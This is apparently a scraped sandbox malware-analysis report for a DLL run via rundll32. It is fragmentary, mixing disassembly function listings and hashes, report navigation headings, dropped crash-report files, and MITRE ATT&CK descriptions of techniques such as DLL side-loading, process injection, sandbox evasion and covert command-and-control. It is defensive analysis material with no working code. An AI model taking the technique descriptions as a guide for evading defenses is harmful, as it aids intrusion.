assertion failed: (*tail).value.is_none(), xrefs: 6CB894FB

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()
API String ID: 115865932-1927134345
Opcode ID: 049d60252c242e1f94b6f2179556d37b78fddeb9c05dda74ea5349eb28886388
Instruction ID: e3113f3141d9b493185e2da03f7b57c1633c06014991840a5534d8a03e7967c8
Opcode Fuzzy Hash: 049d60252c242e1f94b6f2179556d37b78fddeb9c05dda74ea5349eb28886388
Instruction Fuzzy Hash: 9301F730B172608FDB208F08E548E45B7E0FF41B69F5AC459D4089FB50D370DC418B91

Function 6CBF7B3D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000001,00000000,00000000), ref: 6CBF7B49
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6CBF8D8B), ref: 6CBF7B58

Strings

failed to wake I/O driver, xrefs: 6CBF7B68

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CompletionErrorLastPostQueuedStatus
String ID: failed to wake I/O driver
API String ID: 1506555858-3515527018
Opcode ID: d18c3a97bb46b246041594759c41c001dd3b2e1def3b73a417958312aeec7fcd
Instruction ID: 1c933e6abaf8fa29dbabca3fc4c43b5668bd4659c150dad6853fe7b047025243
Opcode Fuzzy Hash: d18c3a97bb46b246041594759c41c001dd3b2e1def3b73a417958312aeec7fcd
Instruction Fuzzy Hash: C0E0CD717407047FF6202B106D15BA735645F41716F11841CF894FE9C1F79358768195

Function 6CB7C190 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CB7C209
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CB7C247
memmove.VCRUNTIME140(?,?,00000088), ref: 6CB7C2BF
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CB7C470

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 6a786cd41c77e8b388edbaaab8f9852e4a8a612924e0a9f45c9e77c62b272006
Instruction ID: c1c015f7a20f0e6fff9851a6191604aaac324214098ce9cdc07c2f686893608f
Opcode Fuzzy Hash: 6a786cd41c77e8b388edbaaab8f9852e4a8a612924e0a9f45c9e77c62b272006
Instruction Fuzzy Hash: B9916A3560D3C19FC322CF24C45079EBBE1AF96308F04495DD8E85BA82D775AA59CBA3

Function 6CBA7F31 Relevance: 5.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBA7FB8
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBA8062

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 2d2f7392efc5b9275b59d051b21547cf2ce0048b759807a6a74b0612d9487ecc
Instruction ID: 66d4b02eaa61432ebd3473add068761fa61643ae55c3735218eb791ca82923bd
Opcode Fuzzy Hash: 2d2f7392efc5b9275b59d051b21547cf2ce0048b759807a6a74b0612d9487ecc
Instruction Fuzzy Hash: 2441932650D3C06FD7128BA598115DFFFF49F9A604F08C99EE8D81B342D2B19909C7A3

Function 6CB9E0E3 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000388), ref: 6CB9E113
memmove.VCRUNTIME140(?,?,00000388), ref: 6CB9E160
memmove.VCRUNTIME140(?,?,00000388), ref: 6CB9E194
memmove.VCRUNTIME140(?,?,00000388), ref: 6CB9E1C4

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 70bb0f79e39f579514864e8d5dc0cae8624bcbb7799a7c65222dc1aafb4f6483
Instruction ID: 7f525d9d6961a22f08891843169362b361d6e070b5f67a6b9997093361da8352
Opcode Fuzzy Hash: 70bb0f79e39f579514864e8d5dc0cae8624bcbb7799a7c65222dc1aafb4f6483
Instruction Fuzzy Hash: EB317271A082849BDB42CF18C4C0BD977A8FB49308F0844B9EC4C9F746DB757A058FA2

Function 6CBC8F2D Relevance: 5.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC8F5E
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC8FB3
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC8FE4
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBC9012

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 90e97dfead12e17bd72831e8a9a9794cac9df5bfdb69273644dbc56d6a3a8d9d
Instruction ID: 76ed2f64043381347601ff98ee5d4f2ca1f506ced5340f5bd69de13a77607157
Opcode Fuzzy Hash: 90e97dfead12e17bd72831e8a9a9794cac9df5bfdb69273644dbc56d6a3a8d9d
Instruction Fuzzy Hash: 58316071A087409BD762CB38C480BDBB7E9EF95348F00485DE4AE87741DB75BA098F92

Function 6CBAD4CA Relevance: 5.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00002398), ref: 6CBAD4DB
memmove.VCRUNTIME140(?,?,00002398), ref: 6CBAD506
memmove.VCRUNTIME140(?,?,00002398), ref: 6CBAD6FD
memmove.VCRUNTIME140(?,?,000023F0), ref: 6CBAD725

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 5944cae85cf2c6dcd449ea80194c40ef1c1ee26d123d44a89bcc5d33ce72c331
Instruction ID: 97d75e499f8ea3021f2cc56d9ec816561cb4688dccff7dc493e515a24c8c60d7
Opcode Fuzzy Hash: 5944cae85cf2c6dcd449ea80194c40ef1c1ee26d123d44a89bcc5d33ce72c331
Instruction Fuzzy Hash: 6931E672904394AFCB61CB6898049DFB7E8EF86718F04482DF99D97740E775AA09C742

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HLMJbase.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_9eed531829db6b26bc5814abaa08fa0abb4016_7522e4b5_42bfc73a-d9f4-496f-832b-eedd7e9b617c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER961D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96F9.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9729.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Exports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
HLMJbase.dll

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre